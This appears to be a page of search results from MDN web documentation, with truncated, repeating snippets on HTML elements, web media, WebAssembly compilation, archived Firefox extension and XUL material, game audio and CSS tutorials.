b technologies and apis. 2 ajax ajax, dom, json, javascript, references, xmlhttprequest asynchronous javascript and xml, while not a technology in itself, is a term coined in 2005 by jesse james garrett, that describes a "new" approach to using a number of existing technologies together 3 community ajax if you know of useful mailing lists, newsgroups, forums, or other communities related to ajax, please link to them here. 4 getting started ajax, api, advanced, javascript, webmechanics, xmlhttprequest this article guides you through the ajax basics and gives you some simple hands-on examples to get you started. 5 wai aria live regions/api support ajax, accessibility firefox 3 contains important improvements to...
... gives you some simple hands-on examples to get you started. 5 wai aria live regions/api support ajax, accessibility firefox 3 contains important improvements to the way the mozilla engine exposes live changes in a document. 6 audio and video delivery audio, guide, html, html5, media, video whether we are dealing with pre-recorded audio files or live streams, the mechanism for making them available through the browser's <audio> and <video> elements remains pretty much the same. currently, to support all browsers we need to specify two formats, although with the adoption of mp3 and mp4 formats in firefox and opera, this is changing fast. you can find compatibility information in the guide to media types and formats on the web. 7 adding capt...
...nd the <track> element. 8 creating a cross-browser video player apps, html5, video, full screen this article describes a simple html5 video player that uses the media and fullscreen apis and works across most major desktop and mobile browsers. as well as working fullscreen, the player features custom controls rather than just using the browser defaults. the player controls themselves won't be styled beyond the basics required to get them working; full styling of the player will be taken care of in a future article. 9 cross-browser audio basics apps, audio, guide, html5, media, events this article provides: a basic guide to creating a cross-browser html5 audio player with all the associated attributes, properties, and events explained a guide to ...
...And 5 more matches
<keygen> - HTML: Hypertext Markup Language
Web › HTML › Element › keygen
it is expected that the <keygen> element will be used in an html form along with other information needed to construct a certificate request, and that the result of the process will be a signed certificate. ...
... a <form> element. this attribute enables you to place <keygen> elements anywhere within a document, not just as descendants of their form elements. keytype the type of key generated. the default value is rsa. name the name of the control, which is submitted with the form data. ...
...ement. this attribute enables you to place <keygen> elements anywhere within a document, not just as descendants of their form elements. keytype the type of key generated. the default value is rsa. name the name of the control, which is submitted with the form data. ...
...And 5 more matches
<select>: The HTML Select element - HTML: Hypertext Markup Language
Web › HTML › Element › select
ould be shown at once. it also accepts most of the general form input attributes such as required, disabled, autofocus, etc. you can further nest <option> elements inside <optgroup> elements to create separate groups of options inside the dropdown. for further examples, see the native form widgets: drop-down content. attributes this element includes the global attributes. autocomplete a domstring providing a hint for a user agent's autocomplete feature. see the html autocomplete attribute for a complete list of values and details on how to use autocomplete. autofocus this boolean attribute lets you specify that a form control should have input focus when the page loads. only one form element in a document can have the autofocus attribute. disabled this boolean attribute indicates...
...ge notes selecting multiple options on a desktop computer, there are a number of ways to select multiple options in a <select> element with a multiple attribute: mouse users can hold the ctrl, command, or shift keys (depending on what makes sense for your operating system) and then click multiple options to select/deselect them. warning: the mechanism for selecting multiple non-contiguous items via the keyboard described below currently only seems to work in firefox. also note: on macos, the ctrl + up and ctrl + down shortcuts conflict with the os default shortcuts for mission control and application windows, so you'll have to turn these off before it will work. keyboard users can select multiple contiguous items by: focusing on the <select> element (e.g. using tab). selecting an...
...using tab). holding down the ctrl key then using the up and down cursor keys to change the "focused" select option, i.e. the one that will be selected if you choose to do so. ...
...And 5 more matches
HTML elements reference - HTML: Hypertext Markup Language
Web › HTML › Element
ement provides the description, definition, or value for the preceding term (<dt>) in a description list (<dl>). <div> the html content division element (<div>) is the generic container for flow content. it has no effect on the content or layout until styled using css. <dl> the html <dl> element represents a description list. the element encloses a list of groups of terms (specified using the <dt> element) and descriptions (provided by <dd> elements). common uses for this element are to implement a glossary or to display metadata (a list of key-value pairs). <dt> the html <dt> element specifies a term in a description or definition list, and as such must be used inside a <dl> element. <figcaption> the html <figcaption> or figure caption...
...<li> element is used to represent an item in a list. <main> the html <main> element represents the dominant content of the <body> of a document. the main content area consists of content that is directly related to or expands upon the central topic of a document, or the central functionality of an application. <ol> the html <ol> element represents an ordered list of items — typically rendered as a numbered list. <p> the html <p> element represents a paragraph. <pre> the html <pre> element represents preformatted text which is to be presented exactly as written in the html file. <ul> the html <ul> element represents an unordered list of items, typically rendered as a bulleted list. inline text semantics use the h...
...the context of a definition phrase or sentence. <em> the html <em> element marks text that has stress emphasis. the <em> element can be nested, with each level of nesting indicating a greater degree of emphasis. <i> the html idiomatic text element (<i>) represents a range of text that is set off from the normal text for some reason, such as idiomatic text, technical terms, taxonomical designations, among others. <kbd> the html keyboard input element (<kbd>) represents a span of inline text denoting textual user input from a keyboard, voice input, or any other text entry device. <mark> the html mark text element (<mark>) represents text which is marked or highlighted for reference or notation purposes, due to the marked passage's relevan...
...And 5 more matches
Microdata - HTML: Hypertext Markup Language
results to users. microdata uses a supporting vocabulary to describe an item and name-value pairs to assign values to its properties. microdata is an attempt to provide a simpler way of annotating html elements with machine-readable tags than the similar approaches of using rdfa and classic microformats. at a high level, microdata consists of a group of name-value pairs. the groups are called items, and each name-value pair is a property. items and properties are represented by regular elements. to create an item, the itemscope attribute is used. to add a property to an item, the itemprop attribute is used on one of the item's descendants. vocabularies google and other major search engines support the schema.org vocabulary for structured data. this vocabulary defines a standard set o...
...ntent re-use easier. localization in some cases, search engines covering specific regions may provide locally-specific extensions of microdata. for example, yandex, a major search engine in russia, supports microformats such as hcard (company contact information), hrecipe (food recipe), hreview (market reviews) and hproduct (product data) and provides its own format for the definition of the terms and encyclopedic articles. this extension was made to solve transliteration problems between the cyrillic and latin alphabets. due to the implementation of additional marking parameters of schema's vocabulary, the indexation of information in russian-language web-pages became considerably more successful. global attributes itemid – the unique, global identifier of an item. itemprop – used ...
...xation of information in russian-language web-pages became considerably more successful. global attributes itemid – the unique, global identifier of an item. itemprop – used to add properties to an item. every html element may have an itemprop attribute specified, where an itemprop consists of a name and value pair. itemref – properties that are not descendants of an element with the itemscope attribute can be associated with the item using an itemref. itemref provides a list of element ids (not itemids) with additional properties elsewhere in the document. itemscope – itemscope (usually) works along with itemtype to specify that the html contained in a block is about a particular item. itemscope creates the item and defines the scope of the itemtype associated with it. itemtype...
...And 5 more matches
Codecs used by WebRTC - Web media technologies
p8 using rtp (such as when using webrtc) is described in rfc 7741: rtp payload format for vp8 video. avc / h.264 support for avc's constrained baseline (cb) profile is required in all fully-compliant webrtc implementations. ...
...sometimes this simply means a parameter must (or must not) be supported. sometimes it means requiring a specific value for a parameter, or that a specific set of values be allowed. ...
...ed. unless signaled otherwise, the pixel aspect ratio is 1:1, indicating that pixels are square. other notes the payload format used for avc in webrtc is described in rfc 6184: rtp payload format for h.264 video. avc implementations for webrtc are required to support the special "filler payload" and "full frame freeze" sei messages; these are used to support switching among multiple input streams seamlessly. supported audio codecs the audio codecs which rfc 7874 mandates that all webrtc-compatible browsers must support are shown in the table below. mandatory audio codecs codec name browser compatibility opus chrome, edge, firefox, safari g.711 pcm (a-law) chrome, firefox, safari g.711 pcm (µ-law) chrome, firefox, safari see b...
...And 5 more matches
Performance fundamentals - Web Performance
ate is an important concern that we go over in more detail below. power usage the final metric discussed here is power usage. like memory usage, users perceive power usage only indirectly, by how long their devices can maintain all other upp goals. in service of meeting upp goals, the system must use only the minimum power required. the remainder of this document will discuss performance in terms of these metrics. platform performance optimizations this section provides a brief overview of how firefox/gecko contributes to performance generally, below the level of all applications. from a developer's or user's perspective, this answers the question, "what does the platform do for you?" web technologies the web platform provides many tools, some better suited for particular jobs than ot...
...nvalidation and repainting for common cases like scrolling; developers get this support "for free". pixel buffers painted by both gecko "automatically" and applications to canvas "manually" minimize copies when being drawn to the display framebuffer. this is done by avoiding intermediate surfaces where they would create overhead (such as per-application "back buffers" in many other operating systems), and by using special memory for graphics buffers that can be directly accessed by the compositor hardware. complex scenes are rendered using the device's gpu for maximum performance. to improve power usage, simple scenes are rendered using special dedicated composition hardware, while the gpu idles or turns off. fully static content is the exception rather than the rule for rich applications. ...
... system compositor, which can render them in a performant, power-efficient fashion. an app's startup performance matters just as much as its runtime performance. gecko is optimized to load a wide variety of content efficiently: the entire web! many years of improvements targeting this content, like parallel html parsing, intelligent scheduling of reflows and image decoding, clever layout algorithms, etc., translate just as well to improving web applications on firefox. application performance this section is intended for developers asking the question: "how can i make my app fast"? startup performance application startup is punctuated by three user-perceived events, generally speaking: the first is the application first paint — the point at which sufficient application resources ha...
...And 5 more matches
Compiling an Existing C Module to WebAssembly - WebAssembly
a core use-case for webassembly is to take the existing ecosystem of c libraries and allow developers to use them on the web. these libraries often rely on c's standard library, an operating system, a file system and other things. emscripten provides most of these features, although there are some limitations. as an example, let's compile an encoder for webp to wasm. the source for the webp codec is written in c and available on github as well as some extensive api documentation. that's a pretty good starting point. ...
...tations. as an example, let's compile an encoder for webp to wasm. the source for the webp codec is written in c and available on github as well as some extensive api documentation. that's a pretty good starting point. $ git clone https://github.com/webmproject/libwebp to start off simple, expose webpgetencoderversion() from encode.h to javascript by writing a c file called webp.c: #include "emscripten.h" #include "src/webp/encode.h" emscripten_keepalive int version() { return webpgetencoderversion(); } this is a good simple program to test whether you can get the source code of libwebp to compile, as it doesn't require any parameters or complex data structures to invoke this function. to compile this program, you need to tell the compiler where it can find libwebp's header files us...
...lied on the compiler to strip out everything that was unnecessary. it seemed to work brilliantly: $ emcc -o3 -s wasm=1 -s extra_exported_runtime_methods='["cwrap"]' \ -i libwebp \ webp.c \ libwebp/src/{dec,dsp,demux,enc,mux,utils}/*.c note: this strategy will not work with every c project. many projects rely on autoconf/automake to generate system-specific code before compilation. emscripten provides emconfigure and emmake to wrap these commands and inject the appropriate parameters. you can find more in the emscripten documentation. now you only need some html and javascript to load your new module: <script src="./a.out.js"></script> <script> module.onruntimeinitialized = async _ => { const api = { version: module.cwrap('version', 'number', []), }; cons...
...And 5 more matches
Creating Reusable Modules - Archive of obsolete content
var s = array.from(hash, (c, i) => tohexstring(hash.charcodeat(i))).join(""); return s; } putting it together the complete add-on adds a button to ...
... var s = array.from(hash, (c, i) => tohexstring(hash.charcodeat(i))).join(""); return s; } putting it together the complete add-on adds a button to firefox: when the user clicks the button, we ask them to select a file, compute th...
... var s = array.from(hash, (c, i) => tohexstring(hash.charcodeat(i))).join(""); return s; } function promptforfile() { var window = require("sdk/win...
...And 4 more matches
Chapter 5: Let's build a Firefox extension - Archive of obsolete content
" contest for firegestures. the chapters so far have each focused on technologies in isolation—xul, javascript, css, and xpcom. in this chapter, we’ll discuss how to put them together to actually build an extension. an easier method of building a firefox/thunderbird addon for developers who are well-acquainted with ides like netbeans, eclipse, etc. is to use netbeans (ide from sun microsystems) and foxbeans (plugin for netbeans, by teesoft). setting up your development environment in order to develop (and test) extensions in a most convenient way it is recommended to apply some changes to firefox. in the following you will find a brief description how to do so; a more detailed one can be found under setting up an extension development environment. create a development profile if y...
...s gives basic information about the extension, and is required in order for the extension to be installed in firefox.. chrome.manifest this is the chrome manifest described in the earlier section. registers packages and invokes cross-package overlays. content/overlay.xul xul file that will be overlaid on the firefox browser window, adding buttons, menu items, etc. content/clock.xul content/clock.js the xul to display a clock in the window, and the javascript to control its operation (these files will be used in phase 2). create install manifest fill in the install.rdf file as shown in listing 1. listing 1: content for install.rdf <?xml version="1.0"?> <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="ht...
...a session-management extension in this section, we will create an extension that uses a new feature: the session store api. this will allow the user to save and restore session snapshots (browser window states) at any time. phase 1: test install figure 12 shows what the interface for the session-management extension will look like. under the tool menu, the session store submenu contains two items—save session and clear sessions; in between them is a list of previously saved sessions that you can restore, most recent first. fixme: figure 12: session-management extension interface: the menu as discussed in the part “the session store api”, sessions are represented as json character strings. sessions are stored in a subdirectory of the profile directory (called “sessionstore”), w...
...And 4 more matches
Chapter 4: Using XPCOM—Implementing advanced processes - Archive of obsolete content
xpcom. due to deprecation of enableprivilege this functionality can not be used in web pages. enableprivilege is disabled in firefox 15 and will be removed in firefox 17. about xpcom xpcom is a framework for developing platform-independent components. components developed in line with that framework are referred to as xpcom components, and sometimes the components are simply referred to as xpcoms. firefox itself includes a great number of xpcom components, and they can be used in extensions as well. sometimes an extension will be packaged with a special xpcom component developed specifically for it. note: if you're developing components in c++ or other compiled languages, be sure to include binaries for every platform. reference materials to get an idea of what kinds of functions embe...
...gy to use xpcom in javascript. listing 1 shows how you can use xpconnect to acquire references to xpcom services and create new xpcom objects. each component is identified with a contract id in the form @domain_name/module_name/component_name;version_number, and implements one or more interfaces that determine what functions can be called on these components. interfaces names usually have the forms nsixxx. in order to have access to the corresponding functions, it is necessary to use the component with the interface you want to use. some xpcom components are services, that means only one instance in memory. for instance, this is the case for the bookmarks component, which is actually a service. it lets you access and manipulate the user's bookmarks. those should be accessed with getservice(...
...d manipulate the user's bookmarks. those should be accessed with getservice(). for other components, you can create as many instances as you need. for instance, this is the case for files (nsilocalfile). those are created with createinstance(). it's important to know whether a component should be created with getservice() or createinstance(), because using one instead of the other can cause problems. listing 1: calling xpcom functions using xpconnect <?xml version="1.0" encoding="utf-8"?> <page xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="application/javascript"><![cdata[ var ioservice = components.classes['@mozilla.org/network/io-service;1'] .getservice(components.interfaces.nsiioservice); alert(ioservice); ]]></script> ...
...And 4 more matches
Search Extension Tutorial (Draft) - Archive of obsolete content
cr } = components; // import the services module. cu.import("resource://gre/modules/services.jsm"); // the details of the engine to add const engine_details = { name: "example engine", iconurl: "data:image/png;base64,...", alias: "example-engine", description: "an example search engine", method: "get", // the http request method url: "https://www.example.com/?q=_searchterms_" }; // keep track of whether this is the first run. var firstrun = false; // decide whether to select the search engine. var selectsearch = false; function startup(data, reason) { firstrun = reason == addon_install; // re-select the search engine if this is the first run // or we're being re-enabled. selectsearch = firstrun || reason == addon_enable; // only add the engine...
...ngine = engine; } } function shutdown(data, reason) { // clean up the search engine on uninstall or disabled. if (reason == addon_uninstall || reason == addon_disable) { let engine = services.search.getenginebyname(engine_details.name); // only remove the engine if it appears to be the same one we // added. if (engine && engine.getsubmission("_searchterms_").uri.spec == engine_details.url) services.search.removeengine(engine); } } function install() {} function uninstall() {} the complex method requires two files, an xml search description file and a javascript file to register the engine. in non-restartless extensions, the xml search description may instead simply be placed in the searchplugins/ directory in the root of your xpi...
...a.org/2006/browser/search/"> <shortname>example engine</shortname> <description>example search engine</description> <inputencoding>utf-8</inputencoding> <image width="16" height="16" type="image/png">data:image/png;base64, ... ...
...And 4 more matches
Using XML Data Islands in Mozilla - Archive of obsolete content
here is a complete demo (also available as an attachment): <!doctype html> <html> <head> <title>xml data block demo</title> <script id="purchase-order" type="application/xml"> <purchaseorder x...
...the price of the first line item is...
...the price of the first line item is " + firstprice + "."; } </script> </head> <body onloa...
...And 4 more matches
Working With Directories - Archive of obsolete content
ectory or the 'pictures' directory do not exist, they will be created. thus, you do not have to create a series of directories individually, the set will all be created if needed. naturally, if the 'myfiles' directory already exists, it won't be recreated. ...
... if needed. naturally, if the 'myfiles' directory already exists, it won't be recreated. iterating over the files in a directory the directory object's directoryentries (nsifile.attributes) attribute is used to get a list of the items in a directory. it returns an enumeration which can be iterated over. ...
...ectory already exists, it won't be recreated. iterating over the files in a directory the directory object's directoryentries (nsifile.attributes) attribute is used to get a list of the items in a directory. it returns an enumeration which can be iterated over. function getlatestfile() { var lastmod = 0; var homedir = io.getfile("home", ""); var items = homedir.directoryentries; while (items.hasmoreelements()) { var item = items.getnext().queryinterface(components.interfaces.nsifile); if (item.isfile() && item.lastmodifiedtime > lastmod.lastmodifiedtime) lastmod = item; } return lastmod; } this example iterates through the files in the home directory and looks for the file with the latest modification time (the last file in that directory that was written to). as ...
...And 4 more matches
Tree Selection - Archive of obsolete content
if you add the seltype attribute to the tree, set to the value single, the user may only select one row at a time. otherwise, the user may select multiple rows, which will not necessarily be contiguous. the tree provides a number of functions which can be used to determine whether an item is selected. handling the select event first, let's see how we can determine when an item is selected. the onselect() event handler may be added to the tree element. ...
...termine whether an item is selected. handling the select event first, let's see how we can determine when an item is selected. the onselect() event handler may be added to the tree element. when the user selects an item from the tree, the event handler is called. the user may also change the selection by using the cursor keys. if the user holds down the cursor key to rapidly scroll through the items, the event handler is not called until the user stops. this results in a performance improvement. this also means that the highlight will appear on several items even though the select event is never fired for those items. the syntax of the onselect() event handler is shown below. <tree id="treeset" onselect="alert('you selected something!');"> tree indices the tree has a property currentindex, ...
...the first item (at index 0) will be the first top-level item. the next item at index 1 will be its first child. ...
...And 4 more matches
XUL accessibility guidelines - Archive of obsolete content
igation order should be logical, generally left to right, top to bottom. navigation order may vary depending on the nature of the application or the reading direction of the language. ensure that tab order is logical and all interactive elements can be accessed simply without the use of a mouse. you should be able to perform all functionality either directly in the application or through menu items or the context menu. trees provide alternative functionality for inaccessible operations. the column picker and column headers in xul trees are not keyboard accessible, consistent with the standard tree behavior on most contemporary operating systems. it is therefore necessary to provide a keyboard accessible alternative for accessing this functionality. the firefox "bookmarks manager" provi...
...te work with the correct platform-specific context menu triggers, including the keyboard button and appropriate mouse clicks. mouse dependent scripting functionality associated with mouse events such as onmouseover, onmousemove, and ondrag can only be activated with the use of the mouse. provide keyboard-accessible alternative access points for this functionality. consider using context menu items or other xul elements along with keyboard shortcuts. scrolling ensure that scrolling is keyboard accessible. many xul elements can be set to scroll using css. other elements, such as arrowscrollbox and listbox, are made to scroll automatically. as a general rule, elements set to scroll are inaccessible if the user cannot scroll to all the content using the keyboard. the arrowscrollbox, for exam...
...er.focusedelement) { document.commanddispatcher.advancefocus(); return true; } return false; } changing focus unexpectedly can confuse or disorient users. a common example of this occurrence in the us is with phone number form fields. us phone numbers are often displayed on the web in two main formats xxx-xxx-xxxx or (xxx) xxx-xxxx. to enforce this pattern some forms provide three form fields. the problem occurs when a developer decides to add functionality that jumps the user to the second form field once 3 digits have been entered into the first form field. this behavior is then repeated for the next form field. users who are used to navigating form fields themselves often end up repeating the jump operation and thereby skipping ahead one form field. initi...
...And 4 more matches
prefwindow - Archive of obsolete content
thods | related ] a specialized window used for preference dialogs. this element should be used in place of the window tag and should contain one or more prefpane elements. a row of buttons appears across the preference dialog, one for each prefpane. each pane will usually group together a set of related preferences. if there is only one prefpane, the navigation area will be hidden. on platforms where the convention is to apply changes immediately, the preferences are adjusted as soon as the user interface element is changed. on other platforms, the preferences are not applied until the dialog is closed. you can open a preference window using a window's opendialog method as with other dialogs. you can pass the id of a particular pane as the fourth argument to opendialog to open a specif...
...information). a true value for this preference makes the preference window apply immediately the user choices, without waiting for the dialog to close with ok. the second preference is browser.preferences.animatefadein, again a boolean preference. this one can be safely omitted in xulrunner-based applications but you can override the default behavior (true for mac os x and false for other platforms) setting it. for animatefadein to work properly, contents of prefpanes should be put into overlays. note for mac os x: a common way of opening modal windows on mac os x that are not attached as a sheet to the main window is to use nsiwindowwatcher.openwindow() with a null parentwindow. this does not work with prefwindows, breaking the general behavior of the window and in particular the list of...
... isn't a public method (?) canceldialog() return type: no return value cancels the dialog and closes it, similar to pressing the cancel button. centerwindowonscreen() return type: no return value centers the dialog on the screen. getbutton( type ) return type: button element returns the button element in the dialog corresponding to the given type. opensubdialog( url, features, params ) return type: window opens a child modal dialog. usually this method would be used to allow the user to configure advanced options. the arguments are similar to the window's opendialog method except that the window name does not need to be supplied. the url should be a xul file. if the child dialog is also a prefwindow, set its type attribute to child so that preferences will be saved properly...
...And 4 more matches
toolbar - Archive of obsolete content
ng the window with the window interface's open() method loads the specified resource into the browsing context (window, <iframe> or tab) with the specified name. if the name doesn't exist, then a new window is opened and the specified resource is loaded into its browsing context.">window.open() method. more information is available in the xul tutorial. ...
...pecified resource is loaded into its browsing context.">window.open() method. more information is available in the xul tutorial. note: starting in gecko 1.9.1, toolbar items are moved from the toolbarpalette and added to the toolbar when a toolbar is first displayed. in earlier versions, a copy of each item was created and placed on the toolbar. this means that the palette now only contains items not already in the toolbar. this introduces a potential compatibility problem for extensions that depend on being able to identify all possible toolbar items by looking in the toolbarpalette. attributes autohide, currentset, customindex, customizable, defaultset, grippyhidden, grippytooltiptext, height, iconsize, mode, toolbarname properties accessibletype, currentset, firstpermanentchi...
...ox> attributes autohide type: boolean when set to true, the toolbar will be invisible unless the alt key is pressed by the user. when set to false, the default, the toolbar is visible. this only has an effect on windows and needs to be combined with type="menubar" and a menubar element. currentset not in seamonkey 1.x type: comma-separated string the current set of displayed items on the toolbar. this will be modified when the user customizes the toolbar. the value of this attribute should be a comma-separated list of item ids from the toolbarpalette or, additionally, any of the following strings: "separator", "spring", "spacer". customindex not in seamonkey 1.x type: integer this value is the index of the toolbar in the list of the custom toolbars. the value is u...
...And 4 more matches
tree - Archive of obsolete content
Archive › Mozilla › XUL › tree
s? description content tree nsitreeview, nsitreecontentview yes this tree has treeitem elements placed within the treechildren element. in this situation, a content view (which implements the interface nsitreecontentview) which is a more specialized type of view, uses the treeitem elements and their descendants to determine the data to display in the tree. however, the treeitems are not displayed directly; they are used only as data to the content view. however, the content view will automatically update the tree if treeitems are changed. rdf tree nsitreeview, nsixultreebuilder no this tree is generated from an rdf datasource. it is used when a tree has a datasources attribute, and has dont-build-content in its flags attribute. for this tree, the data c...
...even though the template uses treeitem elements to define the content, dom nodes for these elements are not created. this is the type that should be used for rdf generated trees with lots of rows. ...
...ontent, dom nodes for these elements are not created. this is the type that should be used for rdf generated trees with lots of rows. rdf content tree nsitreeview, nsixultreebuilder, nsitreecontentview yes this tree is generated from an rdf datasource. it is similar to the previous type but is used when the tree does not have dont-build-content in its flags attribute. dom treeitems are created, so you can access the data using rdf functions or dom functions. this type is suitable for rdf generated trees with a fairly small number of rows. custom tree view nsitreeview no for this tree you implement the nsitreeview interface yourself. the tree's data is retrieved from this custom view. the custom view should be attached to the tree by setting its view proper...
...And 4 more matches
Archived Mozilla and build documentation - Archive of obsolete content
arview implementations are particularly well suited to xbl. there is, however, no practical obstacle to the interface being implemented by any javascript object associated with a group of dom nodes, even non-anonymous xul nodes. calicalendarviewcontroller a calicalendarviewcontroller provides a way for a calicalendarview to create, modify, and delete items. implementing a calicalendarviewcontroller allows for these actions to be performed in a manner consistent with the rest of the application in which the calicalendarview is included. califiletype the califiletype interface provides information about a specific file type. chromeless [this project may not be active — check github https://github.co...
... and distribute cryptographic software, particularly for commercial sale or distribution, then you should consult an attorney with expertise in the particular laws and regulations that apply in your jurisdiction. mozprocess mozprocess provides python process management via an operating system and platform transparent interface to mozilla platforms of interest. mozprocess aims to provide the ability to robustly terminate a process (by timeout or otherwise), along with any child processes, on windows, os x, and linux. mozprocess utilizes and extends subprocess.popen to these ends. nanojit nanojit is a small, cross-platform c++ library that emits machine code. both the tamarin jit and the spidermonkey jit (a.
...help with testing. plug-n-hack plug-n-hack (pnh) is a proposed standard from the mozilla security team for defining how security tools can interact with browsers in a more useful and usable way. plugin architecture this page contains some notes on how plugins work internally in gecko. it is mainly of interest to gecko developers. porting nspr to unix platforms last modified 16 july 1998 priority content update: i've removed documents from this list that have been migrated into the wiki. the list of completed documents is available through the devedge page. prism prism is a simple xulrunner-based browser that hosts web applications without the normal web browser user interface. prism is based on a concep...
...And 4 more matches
Audio for Web games - Game development
ere. web-based audio is maturing fast, but there are still many browser differences to navigate. we often need to decide which audio parts are essential to our games' experience and which are nice to have but not essential, and devise a strategy accordingly. this article provides a detailed guide to implementing audio for web games, looking at what works currently across as wide a range of platforms as possible. mobile audio caveats by far the most difficult platforms to provide web audio support for are mobile platforms. unfortunately these are also the platforms that people often use to play games. there are a couple of differences between desktop and mobile browsers that may have caused browser vendors to make choices that can make web audio difficult for game developers to work with. l...
...if the browser allows you to change volume (see below). also note that playing and immediately pausing your audio does not guarantee that a small piece of audio won't be played. note: adding a web app to your mobile's homescreen may change its capabilities. in the case of autoplay on ios, this appears to be the case currently. if possible, you should try your code on several devices and platforms to see how it works. volume programmatic volume control may be disabled in mobile browsers. the reason often given is that the user should be in control of the volume at the os level and this shouldn't be overridden. buffering and preloading likely as an attempt to mitigate runaway mobile network data use, we also often find that buffering is disabled before playback has been initiated. buff...
...sound effects for various things happening in the game. although the situation is soon going to get better with the adoption of the web audio api, the current most widely-supported method — using the vanilla <audio> element — leads to patchy results on mobile devices. element — results in patchy results on mobile devices. testing and support here's a table that shows what mobile platforms support the features talked about above. mobile support for web audio features mobile browser version concurrent play autoplay volume adjusting preload chrome (android) 69+ y y y y firefox (android) 62+ y y y y edge mobile y y y y opera mobile 46+ y y y y safari...
...And 4 more matches
Debugging CSS - Learn web development
iles, html basics (study introduction to html), and an idea of how css works (study css first steps.) objective: to learn the basics of what browser devtools are, and how to do simple inspection and editing of css. how to access browser devtools the article what are browser developer tools is an up-to-date guide explaining how to access the tools in various browsers and platforms. while you may choose to mostly develop in a particular browser, and therefore will become most familiar with the tools included in that browser, it is worth knowing how to access them in other browsers. this will help if you are seeing different rendering between multiple browsers. you will also find that browsers have chosen to focus on different areas when creating their devtools. for example...
...so shows you the color property applied to the em crossed out. you can now see that the class is overriding the element selector. find out more about the firefox devtools there is a lot of information about the firefox devtools here on mdn. take a look at the main devtools section, and for more detail on the things we have briefly covered in this lesson see the how to guides. ...
...you can now see that the class is overriding the element selector. find out more about the firefox devtools there is a lot of information about the firefox devtools here on mdn. take a look at the main devtools section, and for more detail on the things we have briefly covered in this lesson see the how to guides. debugging problems in css devtools can be a great help when solving css problems, so when you find yourself in a situation where css isn't behaving as you expect, how should you go about solving it? the following steps should help. take a step back from the problem any coding problem can be frustrating, especially css problems because you often don't get an error message to search for online to help with finding a solution. if you are becoming frustrated, take a step away f...
...And 4 more matches
Organizing your CSS - Learn web development
ion of the stylesheet we are providing default styling for the type on the site, setting up a default style for data tables and lists and so on. /* || general styles */ body { ... } h1, h2, h3, h4 { ... } ul { ... } blockquote { ... } after this section we could define a few utility classes, for example a class that removes the default list style for lists we're going to display as flex items or in some other way. if you have a few things you know you will want to apply to lots of different elements, they can come in this section. /* || utilities */ .nobullets { list-style: none; margin: 0; padding: 0; } ... then we can add everything that is used sitewide. that might be things like the basic page layout, the header, navigation styling, and so on. /* || sitewide */ .main...
...s and then smaller ones that include the specific rules needed for those sections. you can link to multiple stylesheets from one page, and the normal rules of the cascade apply, with rules in stylesheets linked later coming after rules in stylesheets linked earlier. for example, we might have an online store as part of the site, with a lot of css used only for styling the product listings and forms needed for the store. it would make sense to have those things in a different stylesheet, only linked to on store pages. this can make it easier to keep your css organised, and also means that if multiple people are working on the css you will have fewer situations where two people need to work on the same stylesheet at once, leading to conflicts in source control. other tools that can help cs...
...nd tested across many projects. these methodologies are essentially css coding guides that take a very structured approach to writing and organising css. typically they tend to result in more verbose use of css than you might have if you wrote and optimised every selector to a custom set of rules for that project. however, you do gain a lot of structure by adopting one and, as many of these systems are very widely used, other developers are more likely to understand the approach you are using and be able to write their css in the same way, rather than having to work out your own personal methodology from scratch. oocss most of the approaches that you will encounter owe something to the concept of object oriented css (oocss), an approach made popular by the work of nicole sullivan. the bas...
...And 4 more matches
The box model - Learn web development
in this lesson, we will take a proper look at the css box model so that you can build more complex layout tasks with an understanding of how it works and the terminology that relates to it. ...
...in this lesson, we will take a proper look at the css box model so that you can build more complex layout tasks with an understanding of how it works and the terminology that relates to it. ...
... with files, html basics (study introduction to html), and an idea of how css works (study css first steps.) objective: to learn about the css box model, what makes up the box model and how to switch to the alternate model. block and inline boxes in css we broadly have two types of boxes — block boxes and inline boxes. these characteristics refer to how the box behaves in terms of page flow, and in relation to other boxes on the page: if a box is defined as a block, it will behave in the following ways: the box will break onto a new line. the box will extend in the inline direction to fill the space available in its container. in most cases this means that the box will become as wide as its container, filling up 100% of the space available. the width and height pr...
...And 4 more matches
CSS values and units - Learn web development
ications and on the property pages here on mdn you will be able to spot values as they will be surrounded by angle brackets, such as <color> or <length>. when you see the value <color> as valid for a particular property, that means you can use any valid color as a value for that property, as listed on the <color> reference page. note: you'll also see css values referred to as data types. the terms are basically interchangeable — when you see something in css referred to as a data type, it is really just a fancy way of saying value. note: yes, css values tend to be denoted using angle brackets, to differentiate them from css properties (e.g. the color property, versus the <color> data type). you might get confused between css data types and html elements too, as they both use angle bra...
...re relative to the font size. i've set a font size of 1em on the containing <div>, which has a class of .wrapper. change this value to 1.5em and you will see that the font size of all the elements increases, but only the last item will get wider, as the width is relative to that font size. after following the instructions above, try playing with the values in other ways, to see what you get. ems and rems em and rem are the two relative lengths you are likely to encounter most frequently when sizing anything from boxes to text. it's worth understanding how these work, and the differences between them, especially when you start getting on to more complex subjects like styling text or css layout. the below example provides a demonstration. the html is a set of nested lists — we have thr...
...thing from boxes to text. it's worth understanding how these work, and the differences between them, especially when you start getting on to more complex subjects like styling text or css layout. the below example provides a demonstration. the html is a set of nested lists — we have three lists in total and both examples have the same html. the only difference is that the first has a class of ems and the second a class of rems. to start with, we set 16px as the font size on the <html> element. to recap, the em unit means "my parent element's font-size" in the case of typography. the <li> elements inside the <ul> with a class of ems take their sizing from their parent. so each successive level of nesting gets progressively larger, as each has its font size set to 1.3em — 1.3 times its ...
...And 4 more matches
Responsive images - Learn web development
multiple resolutions available and serve the appropriate size depending upon the device accessing the data on the website. to make things more complicated, some devices have high resolution screens that need larger images than you might expect to display nicely. this is essentially the same problem, but in a slightly different context. you might think that vector images would solve these problems, and they do to a certain degree — they are small in file size and scale well, and you should use them wherever possible. however, they aren't suitable for all image types. vector images are great for simple graphics, patterns, interface elements, etc., but it starts to get very complex to create a vector-based image with the kind of detail that you'd find in say, a photo. raster image formats ...
...s are more suited to the kind of images we see in the above example. this kind of problem didn't exist when the web first existed, in the early to mid 90s — back then the only devices in existence to browse the web were desktops and laptops, so browser engineers and spec writers didn't even think to implement solutions. responsive image technologies were implemented recently to solve the problems indicated above by letting you offer the browser several image files, either all showing the same thing but containing different numbers of pixels (resolution switching), or different images suitable for different space allocations (art direction). note: the new features discussed in this article — srcset/sizes/<picture> — are all supported in release versions of modern desktop and mobile b...
